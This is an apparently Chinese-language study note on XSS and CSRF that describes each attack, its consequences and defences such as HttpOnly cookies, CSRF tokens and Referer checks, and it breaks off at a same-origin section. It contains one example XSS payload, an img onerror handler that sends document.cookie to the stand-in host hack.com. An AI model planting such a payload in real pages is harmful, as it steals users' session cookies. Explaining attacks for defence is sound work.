xss
-
攻击描述:跨站脚本攻击,这里缩写css被前端层叠样式表(Cascading Style Sheets)占用了,为了和
html
中的css
区分,简称xss
-
攻击场景:属于注入攻击的一种。两个用户a和b,a在某网站上发表了一篇文章,其中包含了一串js代码,如下:
<p> <img style="display:none" src="null" οnerrοr="a=function(ajax({url:'//hack.com/utm.gif',data:{c:document.cookie}}));a();" </p>
-
造成问题:窃取用户cookie,损害/控制用户电脑做出某些行为,模拟用户操作等。xss的攻击如果成功,一般来说是可以造成很严重后果的,因为对方相当于直接控制了你的操作,并做出一些你自己不会做的事情,CSRF相对来说,只是模拟了操作,还是受到服务提供者限制的。
-
解决方案:
- 给Cookie添加HttpOnly属性, 使cookie只能在http请求中传递, 像是上面那个脚本中 document.cookie无法获取到该Cookie值. 对XSS的攻击, 有一定的防御值. 但是对网络拦截, 还是泄露了。
- 在cookie中绑定用户网络信息等环境值,比如ip,user agent等,并在服务端校验. 这样当cookie被人劫持了, 并冒用, 但是在服务器端校验的时候, 发现校验值发生了变化, 一定程度上去规避cookie劫持。
- cookie中session id的定时更换, 可以一定程度减少攻击带来的损害,并不能避免攻击产生。
csrf
- 攻击描述:假设你登陆了a网站,此时你又打开了b网站的某个页面,b网站的某个页面上有一段代码,可能是一个自提交的表单,表单的action是a网站,这样b网站就模拟了你的身份,向a网站发送了一个请求。CSRF的攻击特点是伪造其他网站的操作,冒用身份比如利用cookie伪造登录凭证,不是窃取cookie
- 造成问题:可以模拟你在a网站的所有操作,并且操作发生在你使用的浏览器,和你自己操作没有区别,比较著名的有利用gmailCSRF漏洞窃取用户邮件。
- 解决方案
- 有每一个表单都带有一个CSRF令牌(CSRF TOKEN),后端验证没有令牌的直接被拒绝,这里的令牌需要和会话绑定更能确保安全性,尤其是不要提供获取CSRF令牌的接口,否则就形同虚设了。
- 验证 HTTP Referer 字段
- 验证码(现在基本大型网站重要的操作都会进行验证,甚至是手机验证码验证来保障安全)
- 疑问:令牌在 f12 是可查看的,但是对于攻击者是不可见的
其他相关知识点
-
跨域
-
浏览器同源策略:浏览器同源策略,两个请
-